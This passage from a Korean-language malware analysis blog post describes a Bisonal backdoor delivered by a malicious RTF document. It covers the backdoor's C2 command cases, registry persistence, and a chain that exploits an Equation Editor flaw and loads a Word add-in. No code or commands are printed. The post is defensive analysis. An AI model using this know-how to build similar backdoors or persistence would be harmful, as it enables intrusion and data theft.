lpFile 에는 C2서버로 받은 데이터가 담겨있는데 이 값이 만약 URL이면 ShellExecuteW 함수는 해당 URL로 접속 시도를 한다. 만약 특정 파일이면 open or 탐색의 수행을 한다. 결론적으로 해당 case에서는 특정 프로그램 수행을 할 것이다.(파일 open이든 url 접속이든, 탐색 등)

그 후 해당 결과를 C2 서버로 전송한다


switch-case : 208: 등록한 레지스트리 키 mismyou 삭제

sub_402424();

지속 메커니즘을 위해 등록한 mismyou 키 삭제 후 "exit \r\n" 을 Destination 에 담은 뒤 파일에 write


switch-case : 209: fopen -> wb mode

c2 서버로 받은 데이터의 new_+4 에 담긴 값을 FileName으로 복사한다. 해당 파일이름으로 바로 이전에 확인한 case-208에서 파일 생성을 하는 것이다.

악성 행위에 대한 함수 별 기능을 정리하면 다음과 같다

악성 행위

case함수기능공통
case 200sub_4019A9()희생자 PC 정보 수집(OS 버전, 시스템 시간, 호스트 이름)C2 서버로 탈취 정보 전송
case 201sub_401BBE()실행 중인 프로세스 목록 수집C2 서버로 탈취 정보 전송
case 202sub_401EEF()특정 프로세스 강제 종료C2 서버로 탈취 정보 전송
case 203pipe 통신을 이용하여 cmd.exe 특정 기능 수행C2 서버로 탈취 정보 전송
case 205sub_4022F0()특정 파일에 대한 쓰기C2 서버로 탈취 정보 전송
case 207sub_4023CB()shellexcute함수로 특정 프로그램 실행C2 서버로 탈취 정보 전송
case 208sub_402424()특정 파일에 대한 쓰기C2 서버로 탈취 정보 전송
case 209mismyou 레지스트리 삭제C2 서버로 탈취 정보 전송

4. 정리

전체 프로세스

악성 RTF 문서를 실행시키면 8.t 파일이 가장 먼저 생성되고 수식 편집기에 존재하는 취약점을 이용하여 쉘코드(8.t)를 실행시킨다. 해당 쉘코드는 악성 dll(intel.wll) 을 생성하고 이를 winword.exe 프로세스의 add-in에 등록시킨다.

악성 RTF 문서를 재 실행하면 add-in이 동작하여 intel.wll을 로드한다. 해당 dll이 로드되는 과정에서 dllMain()에 존재하는 기능에 의해 ahnlab.exe 프로그램을 생성 및 실행시킨 후 , 부팅 시 자동 실행되게끔 레지스트리에 등록시킨다.

https://malpedia.caad.fkie.fraunhofer.de/actor/ta428

해당 RTF 악성 문서는 중국 APT 그룹에서 제작한 악성코드이며 " Operation LagTime IT " 캠페인 명을 가진다. 또한 동아시아권의 국가들을 타겟으로, 스피어 피싱 메일을 통하여 배포된 것으로 확인된다.

이러한 유형의 악성코드를 Bisonal라고 부른다. 희생자의 정보를 탈취하여 C2 서버로 전송된 뒤, 백도어 기능을 통해 추가적임 감염이 일어날 수 있다.

5. Reference

728x90

'보안 > 악성코드 분석' 카테고리의 다른 글

[호크아이] 악성코드 분석  (0) 2021.01.20
[Ransomware] clob 랜섬웨어 분석  (6) 2021.01.11
[hwp eps] 악성코드 분석 보고서  (0) 2020.12.12